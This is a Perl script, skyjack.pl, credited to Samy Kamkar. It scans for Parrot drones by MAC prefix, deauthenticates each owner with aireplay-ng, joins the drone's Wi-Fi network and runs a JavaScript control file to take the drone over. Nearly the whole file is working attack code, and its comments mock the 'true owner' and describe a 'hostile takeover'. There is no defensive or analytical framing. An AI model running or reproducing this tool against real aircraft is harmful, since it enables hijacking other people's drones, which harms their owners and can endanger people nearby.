skyjack.pl

#!/usr/bin/perl

# skyjack, by samy kamkar

# this software detects flying drones, deauthenticates the
# owner of the targetted drone, then takes control of the drone

# by samy kamkar, code@samy.pl
# http://samy.pl
# dec 2, 2013


# mac addresses of ANY type of drone we want to attack
# Parrot owns the 90:03:B7 block of MACs and a few others
# see here: http://standards.ieee.org/develop/regauth/oui/oui.txt
my @drone_macs = qw/90:03:B7 00:12:1C 90:3A:E6 A0:14:3D 00:12:1C 00:26:7E/;


use strict;

my $interface  = shift || "wlan1";
my $interface2 = shift || "wlan0";

# the JS to control our drone
my $controljs  = shift || "drone_control/drone_pwn.js";

# paths to applications
my $dhclient    = "dhclient";
my $iwconfig    = "iwconfig";
my $ifconfig    = "ifconfig";
my $airmon  = "airmon-ng";
my $aireplay    = "aireplay-ng";
my $aircrack    = "aircrack-ng";
my $airodump    = "airodump-ng";
my $nodejs  = "nodejs";


# put device into monitor mode
sudo($ifconfig, $interface, "down");
#sudo($airmon, "start", $interface);

# tmpfile for ap output
my $tmpfile = "/tmp/dronestrike";
my %skyjacked;

while (1)
{

        # show user APs
        eval {
            local $SIG{INT} = sub { die };
            my $pid = open(DUMP, "|sudo $airodump --output-format csv -w $tmpfile $interface >>/dev/null 2>>/dev/null") || die "Can't run airodump ($airodump): $!";
            print "pid $pid\n";

            # wait 5 seconds then kill
            sleep 2;
            print DUMP "\cC";
            sleep 1;
            sudo("kill", $pid);
            sleep 1;
            sudo("kill", "-HUP", $pid);
            sleep 1;
            sudo("kill", "-9", $pid);
            sleep 1;
            sudo("killall", "-9", $aireplay, $airodump);
            #kill(9, $pid);
            close(DUMP);
        };

        sleep 4;
        # read in APs
        my %clients;
        my %chans;
        foreach my $tmpfile1 (glob("$tmpfile*.csv"))
        {
                open(APS, "<$tmpfile1") || print "Can't read tmp file $tmpfile1: $!";
                while (<APS>)
                {
                    # strip weird chars
                    s/[\0\r]//g;

                    foreach my $dev (@drone_macs)
                    {
                        # determine the channel
                        if (/^($dev:[\w:]+),\s+\S+\s+\S+\s+\S+\s+\S+\s+(\d+),.*(ardrone\S+),/)
                        {
                            print "CHANNEL $1 $2 $3\n";
                            $chans{$1} = [$2, $3];
                        }

                        # grab our drone MAC and owner MAC
                        if (/^([\w:]+).*\s($dev:[\w:]+),/)
                        {
                            print "CLIENT $1 $2\n";
                            $clients{$1} = $2;
                        }
                    }
                }
                close(APS);
                sudo("rm", $tmpfile1);
                #unlink($tmpfile1);
        }
        print "\n\n";

        foreach my $cli (keys %clients)
        {
            print "Found client ($cli) connected to $chans{$clients{$cli}}[1] ($clients{$cli}, channel $chans{$clients{$cli}}[0])\n";


            # hop onto the channel of the ap
            print "Jumping onto drone's channel $chans{$clients{$cli}}[0]\n\n";
            #sudo($airmon, "start", $interface, $chans{$clients{$cli}}[0]);
            sudo($iwconfig, $interface, "channel", $chans{$clients{$cli}}[0]);

            sleep(1);

            # now, disconnect the TRUE owner of the drone.
            # sucker.
            print "Disconnecting the true owner of the drone ;)\n\n";
            sudo($aireplay, "-0", "3", "-a", $clients{$cli}, "-c", $cli, $interface);

        }

        sleep(2);

        # go into managed mode
        #sudo($airmon, "stop", $interface);

        # connect to each drone and run our zombie client!
        foreach my $drone (keys %chans)
        {
            # ignore drones we've skyjacked before -- thanks to @daviottenheimer for bug discovery!
            next if $skyjacked{$chans{$drone}[1]}++;

            print "\n\nConnecting to drone $chans{$drone}[1] ($drone)\n";
            sudo($iwconfig, $interface2, "essid", $chans{$drone}[1]);

            print "Acquiring IP from drone for hostile takeover\n";
            sudo($dhclient, "-v", $interface2);

            print "\n\nTAKING OVER DRONE\n";
            sudo($nodejs, $controljs);

        }

    sleep 5;
}


sub sudo
{
    print "Running: @_\n";
    system("sudo", @_);
}